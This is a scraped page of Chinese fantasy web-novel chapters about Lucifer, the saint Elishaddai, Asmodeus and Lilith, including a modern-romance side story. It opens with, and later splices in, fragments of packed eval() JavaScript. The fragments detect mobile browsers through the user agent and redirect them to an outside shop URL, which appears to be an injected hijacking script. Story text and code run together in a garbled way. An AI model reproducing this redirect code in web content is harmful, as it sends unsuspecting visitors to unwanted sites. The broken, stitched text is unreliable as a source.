RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091861|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时竟也形容不出。 ……反正,伊勒沙代以前不是这么蠢的。 一时间,他们都安静下来,也无人主动挣脱,就如此怪异而突兀地停下,感受此刻的静谧。 好像只有心跳声最吵闹。 不知过了多久,伊勒沙代才放开手,微微上前一步,自然而然地十指相扣,与路西法并肩,道:“我想,此事虽应当是人为,但格罗多城主应该也的确做过违反道德公序的事,所以才不敢大张旗鼓地查找始作俑者,而是选择试图对上隐瞒。” 路西法瞥了一眼衣袖之下交扣的手,没有拒绝。 夜幕降临,狄曼图雅急匆匆带着塞里加出门,约里被兴奋的阿斯蒙蒂斯强行拽着奔赴晚市。 阿亚站在门口乖巧地送他们离开,回头便见伊勒沙代和路西法,开心地打招呼。 伊勒沙代询问过她的身体状况,得到一切都好的答复后便点点头,放下心来。 见他们要走,阿亚忽地又想起一桩事,连忙道:“先生,请等等,我,我有一件事不太明白。” 伊勒沙代停下,侧身看向她,示意她说下去。 在他依旧温和的目光中,阿亚犹犹豫豫道:“狄曼图雅小姐……她,不和我住吗?” 如今是浴光节时期,虽然没有如期举办,导致住客量远不如前,但旅店所剩房间依旧不多,除却伊勒沙代与路西法独居,还有那个他们都统一认为他该自己住的喜欢沾花惹草的变态以外,剩下四人中,她与约里本都想着,约里与塞里加同住,她与狄曼图雅同住。 可是临到头,狄曼图雅却与塞里加仍旧住在一起。 阿亚性情纯朴,不好意思去问当事人,但又实在有些挂心。 狄曼图雅只是涉世未深的天真少女,塞里加却是个身强体健的壮年男人……她觉得,似乎,不太好? “你看到她脖子上的绸带了吧?” 伊勒沙代还未开口,路西法已抢先反问。 阿亚想了想,点点头,她当时还觉得有些奇怪,现在天气闷热,狄曼图雅脖颈上的绸带却还围得密不透风,但她又担心贸然开口会显得冒犯,所以一直未曾问过。 不过这和她与塞里加同住有什么关系? “她小时候喜欢独自玩乐,但某天有个看不惯她父亲的家伙闯进她家试图刺杀她父亲,不出意外地失败了,撞见她以后挟持她离开,临走的时候,一刀下去,几乎割开她整个脖子,她父亲想了很多办法才让她活下来,从那以后,她便害怕独处,塞里加陪伴她少说也有六年,相比起不熟悉的我们来说,塞里加更能让她安心。” 路西法难得解释这么多,阿亚聚精会神地听着,听罢心中对狄曼图雅更多了几分同情。 只是她没看见,伊勒沙代眸中却有深思。 待告别阿亚之后,他才开口:“阿图略鲁亲王一向以仁善宽宏著称,同他的亲兄长杜维德安王恰是两个极端,也会有深恨他至此的人?” 路西法兴致勃勃:“你怎么知道狄曼图雅是他的女儿?” “我虽远在边陲,却也不是从无听闻,莱洛温皇室新一代子女多夭折,活下来的并不多,算一算,也只有传闻中阿图略鲁亲王的女儿年龄与狄曼图雅小姐相近。” 皇室之中,也只有阿图略鲁亲王的身份勉强配得上见路西法了,不过也要取决于路西法的心情。 但传闻中阿图略鲁亲王从来与人为善,算是吃人不吐骨头的莱洛温皇室中最大的异类,和他那残暴冷酷的兄长性情作风截然相反,其中难道还有内情? 路西法眨了眨眼:“哦,那就是我记错了,应该是她伯父的仇人。杜维德安那种人,得罪谁都不奇怪,也就只有圣殿的那些人才能和他同心协力了。” 莱洛温权力至上手握生杀大权的暴君,在路西法轻飘飘几句话中,仿佛也不过就是一个奇葩疯子。 而人间最崇高的圣殿,在他这里,也只是个助纣为虐之所。 “杜维德安一手遮天逍遥快活太久了,已经忘了该如何扼杀危险。” 路西法悠悠漫步,抬眼看向不远处一盏摇摇晃晃的灯笼,复又侧身,殷红竖瞳忽地微微眯起,在背光处却似越发明亮。 “——你说,我要不要给这位俗世的暴君,一点微小的警告呢?” 18. 番外一:延时心动 一 我男朋友着实是个很奇怪的人。 我也不知道他是什么人。 老实说,除了那个名字之外,我对他一无所知。 他来自哪里,有哪些亲人朋友,从事什么工作……我都不知道。 其实,我偶尔还是挺好奇的。 所以在一个有夕阳有晚风的下午,我躺在他大腿上,余晖透过菱格窗懒懒落在我身侧的时候,盯着他撑开书脊的劲瘦修长的手指,说:“我有个朋友说,你不是人。” 好吧,不是朋友说的,我哪有朋友。 是一个突然冲出来的疯子。 穿着一身黑衣服,黑墨镜遮了大半张脸,戴着黑手套,撑着一把黑伞,全身上下裹得严严实实。 他一见到我,就激动得手舞足蹈,两张嘴皮子里吐出一长串不间断的话语,像不用换气似的,很着急想告诉我。 ——但我听不懂他在说什么。 兴许是我脸上的疑惑有些明显,他终于反应过来,狠狠一拍脑袋,力道之大让自己都痛得嚎了一声。 这个我听懂了。 他清了清嗓子,刚想说话,从他冒出来的地方又冒出来两个穿着制|服的人,一男一女,迅猛地把他架了起来,一点不耽搁地往来的地方离去。 一头红发的男警官回头冲我笑了笑,挠了挠头:“不好意思啊,这家伙精神有点问题,到处胡说八道,你可别信啊。” 蓝发女警官忍不住骂了一句:“闭嘴吧!你听听你在说什么!” 男警官霎时意识到了问题,立刻闭上了嘴,表情颇为尴尬。 被他们夹在中间的“疯子”挣扎着大叫:“我没疯!你那个男朋友不是人!他唔唔——” 两位警官不约而同同时伸手捂住了他的嘴,健步如飞地架着他离开。 真的很快,旁边汽车的四个轮胎都赶不上他们四条腿。 三个随机找路人搞恶作剧的疯子。 我是如此评价的。 那种款式的制服二三十年前就淘汰了。 拜托,演点好的吧。 但不妨碍我问男朋友。 我盯着他的脸,想从上面看出类似于心虚的情绪,但看久了,又心想,其实不是人也没关系。 他长得真好看啊。 是一种极致纯净,毫无瑕疵的好看。 反正我喜欢。 我正因他的脸大发慈悲,原谅他非人类的身份,还为自己的宽容深情而感动,却见他没有一点不自在,只是合上书,深蓝的眼瞳注视着我,反问道:“你认为呢?” “我不知道。”我诚恳回答。 他装作苦恼地思考片刻,才道:“那我和你一样吧,你是,我就是,你不是的话,我也不是。” 我很喜欢这个回答。 我的男朋友,当然要永远和我站在一起。 所以我男朋友是一位非常合我心意的情人。 我撑起身,轻轻在他唇上贴了一下。 这都不算一个吻,但他明显非常高兴。 ……虽然他的高兴一般不太明显,且一般人看不出来。 不过我不一般。 不知是不是我的错觉,窗外的阳光好像更滚烫了。 男朋友说:“因为太阳高兴。” “太阳怎么会高兴?”我觉得莫名其妙。 “因为我高兴。” 好没道理的话。 但男朋友那双如幽深静谧湖泊一般的深蓝眼瞳很认真。 也很好看。 ……唉,算了,他说是就是吧。 我忽地又想起那三个搞恶作剧的人来。 我男朋友挺适合加入他们的。 思维都不正常,应该很能聊到一起。 二 真要细想起来,我和我男朋友的相识,好像的确也不太正常。 那天我在常去的图书馆,刚从放着神话传说的横架上抽|出书,就对上了一双深蓝的眼。 ——像从万米高空往下看到的最深不可测的海域。 像午夜时分抬头所见最广阔无垠的天幕。 也像那本神话故事里的不可直视之物。 太特别了。 所以我忍不住看了很久。 他也就安静地站在那里任我看着,如同一座栩栩如生的雕像。 不知何时,我面前多了一张纸条。 我努力辨认上面奇怪的字符,解析不出其中含义,只能读出音调。 “这是我的名字。”他道。 我点点头,表示了解。 很特别的名字,和他特别的外貌很配。 就是不像真的。 因为读起来和那本神话故事里的一样。 简直像为了骗人现编的。 “是真名。”他无奈地解释。 “你身边一定没有信徒吧?” 要是有,那不得气到跳脚。 他沉默片刻,道:“他们见不到我。” 我就知道。 我原以为这不过就是个小插曲,却未想到,自那以后,他便频频出现在每个时刻。 我在街头看着地图找方向的时候,他伸手轻轻搭在我肩上,像是脑子里装了个定位器似的,告诉我该怎么走,甚至连以我的速度过去,要等几次红绿灯都能说得明白。 我在某座不知名野山巅看璀璨闪耀,一尘不染的星空的时候,他握住我的手探向天际,分明相隔遥遥距离,我却感觉它近在眼前,自己好似已经摸到了那颗星子。 …… 他仿佛给我做过标记,无论我在哪里,他总是能精准无误地出现在我身旁。 我对他越发好奇。 他当真是个很神秘的人,但也很有趣。 无论我有多少奇怪又惊人的问题,他总能面不改色地淡定回答,从不像其他人那样大惊小怪。 我也问过他,为什么他总在我周围。 他说,因为我感受到你需要我。 我故意说:“我也可以需要的是导航仪、天文望远镜这一类东西。” “有我一个,省了它们所有,不是更好?”他不恼,将一杯磨好的咖啡递给我。 看他做任何事简直都是一种享受。 他从来如行云流水,游刃有余,对所有器物的使用方式都了然于心,做什么都像最资深的翘楚,搭配上他那骨骼感恰到好处的手,观赏性与实用性兼备。 好吧,其实我还是很喜欢和他待在一起的。 他说的也没错。 我很讨厌麻烦,他恰好能解决所有麻烦。 确实很好。 所以他要是能永远只属于我就好了。 我慢慢搅拌着一块方糖,冷不丁开口:“你打算什么时候向我表白?” 他一顿,难得有些没反应过来。 但我有十足的把握。 果然,他只是无奈笑道:“……原本想正式隆重一些的。” “不需要。”我眨了眨眼,“重要的是对象是谁,过程不重要。” 我想要的什么都随时可以拥有,所以其他的一切都不重要。 他想了想,坐到我对面,郑重道:“我喜欢你,从很久以前就……所以,我的所有接近一直都是别有用心。” “我知道。”我支着头,不以为意,“我又不是傻子,看得出来。” 那双深海一样的眼睛里面的情感也如深海一般浓厚。 但我不介意,因为他并不让我讨厌。 相反,还挺招我喜欢的。 不过现在,我有点嫌他啰嗦。 所以我直接堵住了他的唇。 用我的唇。 温度有点低,看样子他不怎么注意保暖。 他一怔,随即却是相当热情地反扑。 就好像…… 对这个吻,期待了很久很久。 按这个热情程度,说有上千年应该也不为过。 从那天起,他正式荣升成为我的男朋友。 兼导航仪天文望远镜。 三 我男朋友非常的…… 多功能。 说是上知天文下知地理博古通今也不为过。 不过我还是挺好奇,他怎么知道一千多年前的某个小国君王最喜欢什么花纹的餐具的。 毕竟他说出答案的时间,可比最早公布发现的考古学家对那块地下铲子还早一个月。 我看到报道的时候,颇为诧异。 我仰靠在沙发背上,看他倒转的在流理台前忙碌的身影,真心实意地夸赞:“你好厉害呀,这都知道。” 下一刻,我说:“那你猜猜我现在想吃什么?” “首先排除橘子。”他头也不回道。 “这个不行,这是我的禁忌,不能做数。”我严肃抗议。 我搬来这里之前已经反复确认过,方圆十里都绝对没有橘子,一片橘子叶都没有。 然而他转过身时,我却从他修长指间看见了圆润橙黄的物件。 我如临大敌,立刻从沙发上坐正,紧张地盯着他的手。 “路西,不能挑食。” “就挑。”我咬牙道,“快丢了,今天这个家里有它没我,有我没它!” 他是我男朋友,又不是我父亲,管我挑不挑食做什么! 他看着我,眉心微挑:“我也可以是你的父亲。” “昨晚不才说是我的老师吗?” 怎么,下了床就不作数了? “都是。” “什么便宜你都占啊?”我怒道。 他一顿,像是想起了什么,垂下眉眼,道:“……罢了。” “罢了”? 什么叫“罢了”? 也不继续解释清楚,像我无理取闹,他在我这儿受了多少委屈,还要退让一步似的。 我除了不吃橘子,也不吃亏,口头上的也不行。 所以我们开始了冷战。 虽然应该算是我单方面的。 我男朋友还是每天该做什么就做什么。 只是我不会接过他递过来的咖啡果汁,也不会多看一眼他别出心裁的摆盘,甚至也不会刻意转身去欣赏他的身姿仪态。 我宁可选择自己出去买。 ……就算味道差了太多,我也不会妥协的。 其实男朋友每次的黯然失落我都看见了。 每个夜晚我背过去的时候,他看着我的目光很难过,我也知道。 但这是原则问题,没得谈。 四 我早就发现了,我们之间存在很重大的问题。 ——他和我不同频。 男朋友很明显是个慢节奏的性子,与我即时反馈的激烈情绪不同,他的反应是有延时的。 他发现我不高兴,却不能立刻理解我为什么不高兴,对于同一件事,他与我的反应不一样,他会慢很多,平淡得多。 仿佛见惯不惊。 但这不是好事。 现在我们之间矛盾不多,也只是些小事,可以后呢? 如果遇见至关重要的事,我和他都牵涉其中,而他与我依旧不同频,从前种种微小的不愉快累积起来,到达阈值,又被彻底点燃,到那时候,分道扬镳就是我们最好的结果。 最差,应该就是成仇敌了。 至少现在,我是不愿意我们走到那一天的。 所以我要提前引|爆它。 冷战第三天,我看见他一如既往给我递来一杯果汁的手有些许的颤抖。 延时到了。 我收起本就只做样子的书,看向窗外云层里挣扎出的一丝阳光,道:“我们暂时分开一段时间好好想想……” 我话未说完,就听见清脆的碎裂声音。 好可惜,我还挺喜欢这个杯子的。 “我不同意。” 管他同不同意。 我站起身就要走,却被他攥住手腕。 他握得很紧,但又怕弄疼我让我更烦躁,小心翼翼控制着力道。 ……好吧,比以前也是有进步,不会弄疼我以后才反应过来。 他终于知道,要解释理由:“……你每次说‘暂时’,都会变成‘永久’。” 暂时分开一下,会变成永久离别。 暂时冷静一下,会变成永久冷漠。 好吧,我确实是这样的。 比起反思悔改再磨合,还是痛快分手更让我舒心。 不过我的男朋友很明显不会接受。 难不成,他上过这种当? 我看着他垂下的睫羽,不禁想叹气。 印象里好像有谁和我说过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091862|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爱”与“怜”往往相伴相随,当你爱一个人,就会忍不住地觉得他可怜。 不管事实上他是否真的可怜。 就比如现在,他甚至还没象征性地流一滴泪,我就已经觉得他很可怜。 窗外厚重的云层吞没了最后一缕阳光,乌云翻卷,狂风大作,窗台上的那盆月季都摔下来跌了个粉碎,他银白的发丝却还如灌了铅似的每一根都纹丝不动。 我又想叹气。 非人类生物里面怎么会有这么笨的。 装都装不像。 一场暴雨在即,我蓦地想起从前。 他无声无息地出现在檐下躲雨的我身边,问我喜不喜欢雨。 我说还行,如果不会淋湿我那就喜欢。 然后他思考了会儿,就抓着我的手冲进了雨幕里。 我的惊呼堵在喉间,因为那如织的细密雨丝竟都纷纷主动躲开我,我置身雨中,却得以毫不狼狈地旁观,而不必担心任何。 雨不会对我容情,所以那个必要的特殊条件是他。 但他没有邀功,只是静静地陪着我,等待我欣赏这场雨下的人间。 直到这条路走到尽头,我才发现我们十指相扣了很久,他微微侧过身,告诉我,如果不喜欢了,就让这场雨停下。 但我却是收紧指节,将他的手掌扣紧,看着他那如无垠深海的眼睛,说,喜欢。 很久很久,他的耳尖红了一点点。 那时的我看得想笑。 有点笨笨的可爱。 现在的我想起来也想笑。 但迟迟没有得到我回应的他却没那么好心情了。 深蓝渐渐越发浓重,隐约可见墨色。 像一场灾难的前兆。 我无端想到。 但还是好看。 所以我说:“不分开也行。” 他一下子抬起头,仅我可见地开心。 “以后,无论遇见什么事,你不能独断地决定对我隐瞒,不管在你的认知里是不是为我好。” 我靠在他怀里,贴近他颈间,既舍不得又无奈。 这么好的身材,这么好的脸,这么好的技术,偏偏怎么凑成一个反应迟钝的笨蛋。 不过好在他还是听劝的。 在我的事上,他总是……很容易让步。 “可惜了,这场暴雨以后,那片山谷里的玫瑰只怕不剩多少了。” 我刚说完,就见窗外刹那间云开雾散,日光熠熠。 男朋友轻轻抚过我的脊背,温声道:“它们会永远在那里等着你,直到你厌倦为止。” “不用等,我不喜欢等待。”我握起他的手,眨了眨眼,“愿意和我一起去吗?我的男朋友。” “求之不得。”他回握住我的手,将它牢牢扣在掌心。 五 这世界上所有爱情故事都会有个结尾,只不过分为好几种,有的以婚姻结尾,有的以分离结尾。 而我的不太一样。 我也不知道该怎么结尾。 毕竟这个好不容易摆脱挟制的疯子告诉我,其实我的男朋友真的是我的老师,以及某种意义上的父亲。 父神也算父亲的话。 而我们,还真的是仇敌。 我做梦都想杀了他的那种。 太魔幻了。 一时间,我想了很多,又都匆匆从脑中逝去,无影无踪。 比如,怪不得我养什么死什么,而他养什么活什么,就连翻了肚皮一天的金鱼在他掌心待过片刻,都能再活蹦乱跳。 最后竟然定格在,今日出门前,他说要给我调我最喜欢的那种果汁,不知道现在调好没有。 不过其实也不需要担心,我喜欢里面有几颗冰,几勺糖,他向来都是很了解的。 疯子还是一身黑,依旧语速飞快,还不时左右看,极为担心那两个“警官”又从哪里冒出来逮捕他。 好吧,现在好像也不该还叫他疯子,他自称是我的下属,阿斯蒙蒂斯。 我一开始想,他们取名字怎么都喜欢从那本神话故事里面取材? 直到阿斯蒙蒂斯真的凭空给我表演了一下所谓的法术。 虽然,除了烧焦了路过的野猫的胡子之外,似乎也没别的杀伤力。 他还被愤怒的野猫狠狠挠了几爪子,看上去可比它凄惨多了。 不过我还是不得不认清现实,那就是现在的一切都不是现实。 阿斯蒙蒂斯在等待我答复的时候又被那两位“警官”抓了个正着,他显然不是他们的对手,又被迫被架着离开。 我想了很久,待回过神时,已经到了家门口。 男朋友还在里面等我。 一切好像没有区别,他还是那么温柔体贴,全然看不出阿斯蒙蒂斯所说我们曾不死不休的模样。 呃,等等,虽然阿斯蒙蒂斯说的话非常偏向我,但是,我还是听得出来,似乎,又是,我单方面的不死不休? 男朋友,父神,老师,他只会在我杀戮过多的时候才制止。 也是点到为止。 哪怕太多人日以继夜苦苦求他杀了我。 甚至如今还来我的沉浸式旅行里当艳|遇。 兼导航仪和天文望远镜。 “真难想象,你居然是神。” 我看着他忙前忙后的身影,感叹道。 唉,还是真好看。 他一僵,坐到我对面,像曾经确定关系那天一样端正,只是这次,他比从前更不确定:“路西,你……怎么想呢?” “你不是会读心吗?” 他不说话。 这世上竟也有了创世神为之踌躇辗转,近乡情怯的事物。 我故意叹气。 欣赏到了他悬着心的紧张模样。 “我们,是死敌?” 他犹豫着,给不出答复。 他皱眉的样子也好看。 我看得大发慈悲,算了,不逗他了。 “我在想—— “我的男朋友上次打碎了我的月季,什么时候再给我种一盆呢?” 他那深蓝似海的眼瞳定定地望着我,映出我笑吟吟的脸,须臾,他温声道:“路西不喜欢等待,那就现在吧。” 好,那就现在吧。 就现在,我们相对心动,同频相爱。 19. 不仁之君 杜维德安王的残暴在整个人间都不是秘密。 曾有人为讨好他,献上一行舞姬,然而杜维德安王却在看罢她们的舞蹈以后,勃然大怒,以她们不够美貌为由,将她们与带她们来的人都生生剥了皮丢去野外。 传说,其中有人并未当场死去,王城郊外日日夜夜传来声嘶力竭的惨叫声,凄苦怨恨,没人敢去查看,一连数日才停歇。 除却这些以外,杜维德安王对平民也是毫无留情,种种苛捐杂税层出不穷,每年都有新的征收名目,而最终所有的税金,都变成了王城里一座座华丽宫殿。 王城的繁华富庶之下,尽是平民的血肉骨骸。 杜维德安王是一位无可置疑的暴君,被无数人咬牙切齿痛恨,暗地里称之为“撒旦的门徒”。 而现在,真撒旦本魔站在伊勒沙代面前,笑眯眯地问他,要不要给这位暴君一点教训。 路西法的“微小”绝非如世俗定义的那般。 伊勒沙代几不可闻地叹息,直视他暗含期待的殷红竖瞳,道:“路西,你早就在这么做了。” 绝对的权力统治怎么会是撒旦想要看见的场面? 必然要有来有回,你来我往,才能让地狱之主看得满意。 杜维德安王或许从未想到,他每次惶恐的根本源头,都来自他自以为最大的倚仗。 而且…… 伊勒沙代敢断言,路西法还有为人间准备的更大的“惊喜”。 但从现在他有如此闲情逸致来应付他便可以推断,这计划一切已准备完善,只待时机来临。 这万恶之首眼下却只是笑道:“所以你的答案是‘不’吗?” “你会按我说的做?”伊勒沙代反问。 路西法故作苦恼,吊足胃口,才道:“仅做参考。” 那就是完全不考虑的意思。 他面上的笑意之下有藏不住的恶劣,分明可恶,但配上那张脸,却又叫人无论如何都生不起气。 “人间的权势让他忘乎所以,自以为能凌驾于众生之上,故而行事越发肆无忌惮。”路西法缓缓靠近伊勒沙代,“告诉我,耶和华需要你做什么?是杀了他,还是…… “杀了我?” 伊勒沙代一怔。 那双雪山湖泊般的湛蓝眼眸垂下,他低声道:“……我从未,有过这样的念头。” 路西法眉心微挑,正要说话,却蓦地眸光一凝,随后便干脆地转身踏入一片黑暗中。 独留伊勒沙代望向不远处人流如织的市集。 不必想也知道,一定是地狱那边有人给路西法传了消息来。 伊勒沙代瞳色渐渐变深,但转瞬之间又恢复如常。 不能心急,现在还不是时候。 他抬眸,看向市集中的一处,便向那边走去。 路西法捏了捏眉心,抬手制止了别西卜继续愧疚地检讨。 “她逃出地狱,也只能前往人间。她所为的无非是那些陈年旧怨,与我们无碍。” 别西卜却愧色更深:“若非我一时大意,也不会让她有机会逃出去,她始终是个隐患……请陛下责罚。” 别西卜想,陛下下令关了她这么多年,她心中岂会没有怨恨? 若是因她坏了陛下的计划,那他真的是万死难辞其咎。 “有人暗中帮忙,有心算无心,怎么能怪你。”路西法对此好似并不意外, 他早就料到有人会惦记上她这枚棋子,毕竟一个心怀怨恨又具有破坏力的存在,可是相当难得的。 ——只是这次,对方不知道,自己完全打错了主意。 “我最喜欢看他们作茧自缚的模样。”路西法殷红眸中兴味一闪。 兀地,他想起了耶和华。 ……如果是祂,不会犯这种低级错误的。 神威之下,一切皆无定准,万事万物都可存有变数。 不过,祂从不会亲自下场。 祂只会端坐神座,冷眼旁观众生万象。 等到祂再度开启水晶天,看到这天下的模样,不知会是什么样的心情。 一想到这里,路西法都要克制不住笑出声。 相比之下,别西卜的愁容满面与他几乎是两个极端。 别西卜甚至理解不了陛下为何还那么好心情。 他把自己身边的人都控制不住地怀疑了个遍,却始终想不通,谁有理由这么做。 “好了,多想无益,做好当下的事更重要。”路西法言语淡然,他是真没把这件事放心上,也不觉得此事值得别西卜亲自来一趟请罪,不过别西卜既然来了,他也有旁的事要嘱咐他。 别西卜听罢,强迫自己打起精神,微微颔首,恭敬等待路西法的命令。 “算算时间,那个人应该已经逃出王城了吧?” 别西卜心领神会:“是,在我们的帮助下,圣殿的人拦不住他,途中也让他吃了些苦头,他大概只会觉得是……自己运气好,不会猜到旁的。” 想到那人的身份,别西卜咽下了“他大概只会觉得是父神庇佑”,委婉进行了替换。 “不可小觑,他比圣殿那群庸碌之辈聪明得多,待到确定他不会被圣殿的人抓住,就立刻撤手,免得多生事端。” 别西卜认真地记下,忽又蹙眉道:“圣殿那位……您曾所说的,最为出色的年轻一辈的天才,近日游历归来,恐怕会和他碰面。” 那也是个棘手的人物,若参与进对他的追捕,只怕不那么容易处理。 路西法却笑起来:“那就更好了。让他见见这位圣殿未来的继任者,他会更能下定决心,就让他们……在这里见面吧。” 别西卜细细思索,霎时明白了路西法的意思,不由得眼前一亮:“陛下英明。” 路西法又问起旁的:“之前我让玛门转告你的计划如何了?” “一切都在循序推进,暂无任何困难。”别西卜答道。 “那就好。”路西法侧身,看向不远处的灯火,唇角微弯,“我要你,换个人选。” 别西卜惊讶地抬起头。 “我见到了一个人,比之前我们选的更合适。”路西法语气温柔,但若有人类在此听见,必然莫名毛骨悚然,“希望他的性情和能力,不会让我失望。” 别西卜没有多问,只是应下。 无论陛下有什么要求,不需要理由,他都一定会做到。 路西法处理完这头的事,才想起自己似乎冷落了一个人。 伊勒沙代不在原处,他便到市集上,却见周围的人都朝着一个方向去,他心里有了个猜测,隐在人潮中跟着他们一处去。 只见人潮尽头是一处灯笼铺,排在前列的人们都自带了各式材料,或是木条,或是纱纸,甚至是几根蜡烛。只是这前方人虽多,却不见乱象,众人都自觉地排着队。 路西法隐去身形,走到前方,果真如他所料,被众人围在中央的,赫然正是伊勒沙代。 他正接过人们递来的材料,倾听他们的诉求,同时双手不停,为他们制成他们想要的灯盏模样,皆是精致奇巧,栩栩如生。 而一旁灯笼铺的店主人,早因为这史无前例的人气和购买原材料的火爆生意乐得合不拢嘴。 他还悄声对身旁的伙计得意道:“嘿,我就看这年轻人不像普通人!瞧见旁边那几个店里气得嘴歪眼斜的家伙没,他们非得嫌弃人家是祭山族人,不配入内,现在好了,就只能这么干看着了!被他们排挤这么久,我也算出了口气……” 路西法微微侧身,看向伊勒沙代。 他的面容拢在晕黄的烛光中,比平日温柔中更显亲和。 许是这人间烟火当真有不一样的能力,路西法此刻竟然想,若是有一日能与他平心静气地同处一檐下,共一盏烛火,无事闲聊,似乎……也不错。 对着他这张脸,这个人,也是一种享受。 不知过了多久,伊勒沙代开始偶尔微微蹙眉活动肩颈,手腕处也有些迟滞。 路西法眨了眨眼,这才回过神,自己好像看了他很久。 伊勒沙代毕竟是凡人之躯,长期这般劳动自然是不行的。 可人群还是一眼望不到尽头。 路西法干脆利落地一个响指灭了整个市集的灯,顺带给这灯笼铺关了门。 此刻夜深月明,在人群纷纷的惊呼声中,路西法抓着伊勒沙代的手腕,把他带到了来时的地方。 伊勒沙代本还有些晕眩,一见到他,却还是笑容渐深。 “笑什么,平白给人类做工还能高兴?”路西法觉得他挺莫名其妙的。 要不是他出手,伊勒沙代恐怕几天也不能休息。 他比谁都知道,贪欲永远没有止境。 “我因将喜悦传给了今日前来的人类而高兴。”伊勒沙代看向他,湛蓝眼瞳如一湾清波,惟有宁静与柔和,“我也为……路西帮了我,而高兴。” 他与众生同重。 “那你真是不合格的圣子。”路西法别过头,冷声道。 “或许是吧。”伊勒沙代不以为意。 他上前一步,一枝杆横在他劲瘦掌心,其下是一盏做成玫瑰模样的灯,花叶栩栩舒展,纱纸宣白,而其中还有玫瑰状的鲜红烛芯,火光摇曳,点点红色由内而外晕开。 “我原只是想为路西寻一盏灯,可惜始终没有满意的,便借店主的地方做了一盏。” 然而技艺太高,引得旁人纷纷来求灯。 他自是不会拒绝恳求,也不会收报酬。 所以才有了方才的局面。 路西法想的却是别的。 伊勒沙代好像不会诉苦。 他分明从那店主三言两语中听见,伊勒沙代在此之前受了冷眼,恐怕还有奚落之语。 而他却只字未提。 如果他说了,他也不是不能勉为其难帮他出出气的。 哪怕不要了那些人的命,叫他们受受罪也行。 路西法正想着,却见伊勒沙代眸光渐渐黯然,这才想起,自己一直不曾接过灯。 伊勒沙代大概是以为他不喜欢。 算了,他今天也够被人类伤心的了。 路西法接过那枝杆,刚一接手,便嗅见其中隐隐绰绰的芬芳。 不知伊勒沙代用了什么技巧,这香气融于蜡中,却并不甜腻,反而清新淡雅,恰到好处。 “尚可。”他敷衍地评价道。 伊勒沙代却十分高兴,眸光明亮,如映日月。 “行了,回去吧。”路西法清咳一声,打断他的目光,率先向前。 伊勒沙代主动上前,握住他的掌心。 路西法也未拒绝。 阿斯蒙蒂斯等人早已回到了旅店,正为房间的分配争执着。 原来是狄曼图雅今日在市集上解救下一个被醉汉们围着调戏,孤苦伶仃流浪至此的女人,她向来热心,就提出今夜要与她同住,待到明日再为她寻去处。 那么塞里加便没了住处。 除了睡在狄曼图雅房外的选项,他宁可选择去约里与阿亚房里打地铺。 阿斯蒙蒂斯当即就不肯了,表示他们这是合起伙来歧视他,今日他们三个里面非得有一个跟他同住才行,不然今晚谁也别想睡。 三人彼此互望,皆是下不了壮士断腕的决心。 毕竟阿斯蒙蒂斯可是变|态得明明白白。 长得再好看,他也是个变|态。 三人大眼瞪小眼许久,最终还是约里闭上眼,咬牙准备忍了。 一晚上,就一晚上,大不了,他今晚不合眼了。 塞里加十分惭愧,但松了口气。 阿斯蒙蒂斯对他的 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黑衣女人抬起头,一张艳丽妖媚的脸落入众人眼中。 塞里加目眦欲裂,冲上前就要推开她,却被一股不知何来的力量撞了出去。 黑衣女人冷冷瞥他一眼,还要下刀,却发现那尖刀无法再往下一寸。 她又抬头,却正对上阿斯蒙蒂斯笑嘻嘻的脸,霎时表情一变。 “唉呀,这不是老熟人吗?”阿斯蒙蒂斯语气浮夸,“美人,你出狱了怎么也不叫我来给你接风洗尘?不过,陛下何时赦免了你,我怎么不知道?” “少管闲事,阿斯蒙蒂斯。”黑衣女人张口,声音阴冷,如地狱最深处的刮骨寒风。 “我就管闲事,莉莉丝,我最爱管闲事了。”阿斯蒙蒂斯故意学她说话,十足十气人。 莉莉丝知道与他纠缠除了气死自己外别无成果,色|欲魔王是地狱顶顶出名的无赖,一张脸皮厚过潘地曼尼南的城墙,索性不再理他,催动法力,将那尖刀刃上缠上不祥的黑色纹路,一寸寸下沉。 “你行不行啊!”约里看得着急,也不顾叫破阿斯蒙蒂斯身份后的惊慌,一连催促道。 “别瞎说,我怎么不行了?我行得很!”阿斯蒙蒂斯听得生气,径直抬手,与莉莉丝法力在刀刃去向上相抗衡,还警告她,“莉莉丝,我好心劝你一句,不要动她。” “劝?你凭什么?”莉莉丝嘲弄道。 “凭她是我要保的人。” 这声音太过熟悉,莉莉丝那张艳丽妖媚的脸上霎时浮现出惶恐之色,她望向门口,便见到了此生最为恐惧的存在。 地狱之主毫不意外她在这里,只是目光落在她刀刃上时,凉意乍现。 莉莉丝果断地弃了刀翻窗离开。 阿斯蒙蒂斯谄媚地凑过来:“陛下,您回来啦?这个……还开心吗?” 他不敢提这是别西卜的失误,期盼着路西法也不提。 那可是重刑犯莉莉丝! 诶,不对,莉莉丝……? 他骤然想起什么,瞪大眼睛,望向床上瑟瑟发抖的狄曼图雅:“你……” “阿斯。”路西法唤了他一声。 阿斯蒙蒂斯一抖,立马识趣地做个闭嘴的手势,然后道:“我去找莉莉丝叙叙旧,哈哈哈哈……” 说罢,他也仓促地翻窗离去。 路西法缓缓靠近床边,狄曼图雅吓得不轻,满眼恐惧,呆呆愣愣地看着前方。 “好心不会有好下场,尤其对你而言。”路西法冷声道,“你自以为的善良,最好也就是只害死你自己,最差,就是你身边所有人,包括你的父母,和你那个奴隶,都得死。 “狄曼图雅,好自为之吧。” 莉莉丝拿出了生平最快的速度,眨眼间就赶到了城外几十里处。 然而她一回头,还能看见那个气定神闲的身影紧跟不舍。 “你想怎么样?”她眯起眼警觉地盯着阿斯蒙蒂斯,她感觉到,他并不想抓她回去。 